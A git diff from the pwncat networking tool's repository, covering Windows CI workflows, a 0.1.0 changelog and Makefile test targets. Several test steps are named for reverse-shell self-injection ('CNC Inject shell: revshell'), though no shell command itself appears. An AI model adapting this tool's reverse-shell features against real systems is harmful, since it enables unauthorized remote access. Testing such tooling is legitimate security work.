+ _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-windows-3.8.yml b/.github/workflows/test-x64-windows-3.8.yml index a08000f7..efa80011 100644 --- a/.github/workflows/test-x64-windows-3.8.yml +++ b/.github/workflows/test-x64-windows-3.8.yml @@ -29,9 +29,11 @@ jobs: python-version: 3.8 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1054,3 +1080,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-windows-pypy2.yml b/.github/workflows/test-x64-windows-pypy2.yml index a2d05823..41805f7b 100644 --- a/.github/workflows/test-x64-windows-pypy2.yml +++ b/.github/workflows/test-x64-windows-pypy2.yml @@ -29,9 +29,11 @@ jobs: python-version: pypy2 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1054,3 +1080,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/.github/workflows/test-x64-windows-pypy3.yml b/.github/workflows/test-x64-windows-pypy3.yml index dff9523e..903438f7 100644 --- a/.github/workflows/test-x64-windows-pypy3.yml +++ b/.github/workflows/test-x64-windows-pypy3.yml @@ -29,9 +29,11 @@ jobs: python-version: pypy3 architecture: x64 - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi + + + + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -1054,3 +1080,184 @@ jobs: retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | + retry() { + _make=${1} + _target=${2} + _host=${3:-localhost} + _port=${4:-4444} + _wait=${5:-5} + _runs=${6:-1} + for n in $(seq ${RETRIES}); do + _port=$(( _port + n )) + echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; + if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then + return 0; + fi; + sleep 10; + done; + return 1; + } + + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/CHANGELOG.md b/CHANGELOG.md index bd85ff1a..58dde76e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,31 @@ ## Unreleased +## Release 0.1.0 + +### Fixes +- Fixed UTF-8 char conversion for Python3 +- Fixed calculation for socket bytes sent +- Fixed shutdown handling for port scanner +- Fixed false positives for port scanner +- Fixed sending binary data from stdin +- Fixed self-inject mode if remote sends greetings or prefixes: #83 +- Fixed remote command to respawn if it crashes due to bad user input + +### Added +- Implemented signal handler to distribute shutdown signals across threads +- Feature: `--no-shutdown` to copy the behaviour of OpenBSD netcat to keep stdin open after EOF +- Feature: `--http` +- Feature: `send-on-eof` +- CI: Integration tests for inject shell +- CI: Integration tests for different file transfer modes +- Added artwork + +### Changed +- Changed behaviour to close after EOF on stdin (can be reverted via `--no-shutdown`) +- Added faster method to validate remote files in CNC mode + + ## Release 0.0.23-alpha ### Fixed diff --git a/Makefile b/Makefile index 81757b57..f4182c0c 100644 --- a/Makefile +++ b/Makefile @@ -20,8 +20,8 @@ DOCPATH = docs/ INTPATH = tests/integration/ BINNAME = pwncat -FL_VERSION = 0.3 -FL_IGNORES = .git/,.github/,$(BINNAME).egg-info,docs/$(BINNAME).api.html,docs/,data/,.mypy_cache/ +FL_VERSION = 0.4 +FL_IGNORES = .git/,.github/,$(BINNAME).egg-info,docs/$(BINNAME).api.html,docs/,data/,.mypy_cache/,rtfm/venv,rtfm/_build UID := $(shell id -u) GID := $(shell id -g) @@ -107,6 +107,7 @@ _lint-files: @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-trailing-space --text --ignore '$(FL_IGNORES)' --path . @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-utf8 --text --ignore '$(FL_IGNORES)' --path . @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) file-utf8-bom --text --ignore '$(FL_IGNORES)' --path . + @docker run --rm $$(tty -s && echo "-it" || echo) -v $(PWD):/data cytopia/file-lint:$(FL_VERSION) git-conflicts --text --ignore '$(FL_IGNORES)' --path . .PHONY: _lint-docs _lint-docs: @@ -115,6 +116,7 @@ _lint-docs: @echo "# -------------------------------------------------------------------- #" @$(MAKE) --no-print-directory docs git diff --quiet -- $(DOCPATH) || { echo "Build Changes"; git diff | cat; git status; false; } + git diff --quiet -- $(PWD)/README.md || { echo "Build Changes"; git diff | cat; git status; false; } .PHONY: _lint-man _lint-man: @@ -187,25 +189,61 @@ _code-mypy: # ------------------------------------------------------------------------------------------------- # Smoke Targets # ------------------------------------------------------------------------------------------------- -smoke: _smoke-keep_open-before_send -smoke: _smoke-keep_open-after_client_send +smoke: _smoke-keep_open-kill_srv-before_send +smoke: _smoke-keep_open-kill_srv-send_data +smoke: _smoke-tcp_port_scan-no_banner +smoke: _smoke-tcp_port_scan-with_banner +smoke: _smoke-udp_port_scan-no_banner +smoke: _smoke-udp_port_scan-with_banner .PHONY: -_smoke-keep_open-before_send: +_smoke-keep_open-kill_srv-before_send: @# It's sometimes a race-condition, so we run it five times - tests/smoke/run.sh "200---tcp---keep_open" "server_1" "client_1" "$(PYTHON_VERSION)" - tests/smoke/run.sh "200---tcp---keep_open" "server_1" "client_1" "$(PYTHON_VERSION)" - tests/smoke/run.sh "200---tcp---keep_open" "server_1" "client_1" "$(PYTHON_VERSION)" - tests/smoke/run.sh "200---tcp---keep_open" "server_1" "client_1" "$(PYTHON_VERSION)" - tests/smoke/run.sh "200---tcp---keep_open" "server_1" "client_1" "$(PYTHON_VERSION)" + tests/smoke/run.sh "200---tcp---keep_open---kill_server---no_send" "$(PYTHON_VERSION)" + tests/smoke/run.sh "200---tcp---keep_open---kill_server---no_send" "$(PYTHON_VERSION)" + tests/smoke/run.sh "200---tcp---keep_open---kill_server---no_send" "$(PYTHON_VERSION)" + tests/smoke/run.sh "200---tcp---keep_open---kill_server---no_send" "$(PYTHON_VERSION)" + tests/smoke/run.sh "200---tcp---keep_open---kill_server---no_send" "$(PYTHON_VERSION)" -_smoke-keep_open-after_client_send: +_smoke-keep_open-kill_srv-send_data: @# It's sometimes a race-condition, so we run it five times - tests/smoke/run.sh "200---tcp---keep_open" "server_2" "client_2" "$(PYTHON_VERSION)" - tests/smoke/run.sh "200---tcp---keep_open" "server_2" "client_2" "$(PYTHON_VERSION)" - tests/smoke/run.sh "200---tcp---keep_open" "server_2" "client_2" "$(PYTHON_VERSION)" - tests/smoke/run.sh "200---tcp---keep_open" "server_2" "client_2" "$(PYTHON_VERSION)" - tests/smoke/run.sh "200---tcp---keep_open" "server_2" "client_2" "$(PYTHON_VERSION)" + tests/smoke/run.sh "201---tcp---keep_open---kill_server---send_data" "$(PYTHON_VERSION)" + tests/smoke/run.sh "201---tcp---keep_open---kill_server---send_data" "$(PYTHON_VERSION)" + tests/smoke/run.sh "201---tcp---keep_open---kill_server---send_data" "$(PYTHON_VERSION)" + tests/smoke/run.sh "201---tcp---keep_open---kill_server---send_data" "$(PYTHON_VERSION)" + tests/smoke/run.sh "201---tcp---keep_open---kill_server---send_data" "$(PYTHON_VERSION)" + +_smoke-tcp_port_scan-no_banner: + @# It's sometimes a race-condition, so we run it five times + tests/smoke/run.sh "300---tcp---port_scan---no_banner" "$(PYTHON_VERSION)" + tests/smoke/run.sh "300---tcp---port_scan---no_banner" "$(PYTHON_VERSION)" + tests/smoke/run.sh "300---tcp---port_scan---no_banner" "$(PYTHON_VERSION)" + tests/smoke/run.sh "300---tcp---port_scan---no_banner" "$(PYTHON_VERSION)" + tests/smoke/run.sh "300---tcp---port_scan---no_banner" "$(PYTHON_VERSION)" + +_smoke-tcp_port_scan-with_banner: + @# It's sometimes a race-condition, so we run it five times + tests/smoke/run.sh "301---tcp---port_scan---with_banner" "$(PYTHON_VERSION)" + tests/smoke/run.sh "301---tcp---port_scan---with_banner" "$(PYTHON_VERSION)" + tests/smoke/run.sh "301---tcp---port_scan---with_banner" "$(PYTHON_VERSION)" + tests/smoke/run.sh "301---tcp---port_scan---with_banner" "$(PYTHON_VERSION)" + tests/smoke/run.sh "301---tcp---port_scan---with_banner" "$(PYTHON_VERSION)" + +_smoke-udp_port_scan-no_banner: + @# It's sometimes a race-condition, so we run it five times + tests/smoke/run.sh "302---udp---port_scan---no_banner" "$(PYTHON_VERSION)" + tests/smoke/run.sh "302---udp---port_scan---no_banner" "$(PYTHON_VERSION)" + tests/smoke/run.sh "302---udp---port_scan---no_banner" "$(PYTHON_VERSION)" + tests/smoke/run.sh "302---udp---port_scan---no_banner" "$(PYTHON_VERSION)" + tests/smoke/run.sh "302---udp---port_scan---no_banner" "$(PYTHON_VERSION)" + +_smoke-udp_port_scan-with_banner: + @# It's sometimes a race-condition, so we run it five times + tests/smoke/run.sh "303---udp---port_scan---with_banner" "$(PYTHON_VERSION)" + tests/smoke/run.sh "303---udp---port_scan---with_banner" "$(PYTHON_VERSION)" + tests/smoke/run.sh "303---udp---port_scan---with_banner" "$(PYTHON_VERSION)" + tests/smoke/run.sh "303---udp---port_scan---with_banner" "$(PYTHON_VERSION)" + tests/smoke/run.sh "303---udp---port_scan---with_banner" "$(PYTHON_VERSION)" # ------------------------------------------------------------------------------------------------- @@ -217,6 +255,7 @@ TEST_PWNCAT_WAIT=2 TEST_PWNCAT_RUNS=1 test: _test-behaviour-quit--client test: _test-behaviour-quit--server +test: _test-behaviour-base--file_transfer test: _test-mode--local_forward test: _test-mode--remote_forward test: _test-options--nodns @@ -225,11 +264,9 @@ test: _test-options--keep_open test: _test-options--reconn test: _test-options--ping_intvl test: _test-options--ping_word +test: _test-cnc--inject_shell .PHONY: _test-behaviour-quit--client -#_test-behaviour-quit--client: -# tests/integration/run.sh "01-behaviour-quit--client" \ -# "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" 